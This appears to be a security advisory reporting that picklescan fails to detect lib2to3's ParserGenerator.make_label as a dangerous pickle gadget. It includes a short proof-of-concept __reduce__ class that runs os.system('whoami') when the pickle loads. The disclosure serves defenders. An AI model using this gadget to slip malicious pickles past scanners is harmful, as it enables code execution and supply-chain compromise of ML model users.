Insecure deserialization In picklescan

Description

Picklescan is missing detection when calling built-in python lib2to3.pgen2.pgen.ParserGenerator.make_label

Summary

Using lib2to3.pgen2.pgen.ParserGenerator.make_label function, which is a built-in python library function to execute remote pickle file.

Details

The attack payload executes in the following steps:

First, the attacker craft the payload by calling to lib2to3.pgen2.pgen.ParserGenerator.make_label function in reduce method Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.

PoC

from types import SimpleNamespace
from lib2to3.pgen2.pgen import ParserGenerator

class EvilLib2to3Pgen2ParserGeneratorMakeLabel:
    def __reduce__(self):
        c = SimpleNamespace(labels=[], keywords={}, tokens={})
        label = '""+__import__(\'os\').system(\'whoami\')'
        return ParserGenerator.make_label, (None, c, label)...

Impact

Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded. Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.

Corresponding

https://github.com/FredericDT https://github.com/Qhaoduoyu

Mitigation

Update Impact

Minimal update. May introduce new vulnerabilities or breaking changes.

Ecosystem
Package
Affected version
Patched versions